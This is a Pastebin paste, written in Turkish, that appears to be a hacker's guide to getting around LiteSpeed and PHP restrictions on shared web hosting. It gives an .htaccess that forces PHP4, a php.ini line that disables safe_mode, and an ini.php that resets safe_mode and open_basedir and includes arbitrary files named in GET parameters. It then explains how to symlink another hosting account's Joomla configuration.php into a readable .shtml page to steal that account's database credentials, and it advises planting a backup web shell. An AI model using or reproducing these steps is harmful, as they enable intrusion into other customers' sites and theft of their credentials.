Advertisement
KingSkrupellos

LiteSpeed Server Bypass Komutları 2014

Sep 28th, 2017
117
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.90 KB | None | 0 0
  1. .htaccess
  2.  
  3. Kod:
  4. <Files *.php>
  5. ForceType application/x-httpd-php4
  6. </Files>
  7.  
  8. ----------------------------------------------------
  9.  
  10. php.ini
  11.  
  12. Kod:
  13. safe_mode = OFF
  14.  
  15. ----------------------------------------------------
  16.  
  17. ini.php
  18.  
  19. Kod:
  20. <?
  21. echo ini_get("safe_mode");
  22. echo ini_get("open_basedir");
  23. include($_GET["file"]);
  24. ini_restore("safe_mode");
  25. ini_restore("open_basedir");
  26. echo ini_get("safe_mode");
  27. echo ini_get("open_basedir");
  28. include($_GET["ss"]);
  29. ?>
  30.  
  31. -------------------------------------
  32.  
  33. Bu Dosyaları serverde açtığımız dizine upload ediyoruz örneğin ben Pose diye bir dizin açtım
  34. oraya yükledim farzedelim yapmamız gerekn şu çektiğimiz pwd dosyasından geçmek istediğimiz dizini bulmak örneğin
  35.  
  36. /home/poseidon/public_html/ dizininde olduğumuzu farz edeli fakat elimzdeki pwd dosyasında şöyle bir başka dizin bulunmakta
  37.  
  38. /home/bk:/usr/local/cpanel/bin/noshell
  39. /home/bk2:/usr/local/cpanel/bin/noshell
  40. /home/bk3:/usr/local/cpanel/bin/noshell
  41. /home/bk4:/usr/local/cpanel/bin/noshell
  42. /home/bk5:/usr/local/cpanel/bin/noshell
  43. /home/bk6:/usr/local/cpanel/bin/noshell
  44.  
  45. hepsini farklı olarak düşünü bizim yapmamız gereken geçmek istediğimiz dizini yazmak örneğin ben bu dizinden
  46.  
  47. /home/bk/public_html/
  48.  
  49. bir başka dizin olan /home/bk:/usr/local/cpanel/bin/noshell dizinine geçmek istiyorum ve oradaki configi alıp yazdırmak istiyorum dikkat etmemiz gerekn husus sistemdir joomlamı wordpressmi
  50.  
  51.  
  52. eğer joomla ise
  53.  
  54. ln -s //home/bk/public_html/configration.php pose.shtml
  55.  
  56. diyip enterliyoruz eğer configi çekerse ana dizinde şöyle bir sayfa oluşturacak pose.shtml diye tıkladığımızda config bilgisini karşımızda veya source kısmında olduğunu göreceğiz bunu ctrl+u yaparak görebiliriz
  57.  
  58. NOT:Sunucu php4'e düşürülürken shell'i kaybedebilirsiniz bu yüzden her ihtimale karşı anadizine bir shell upload edin sıkıntı olmasın
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement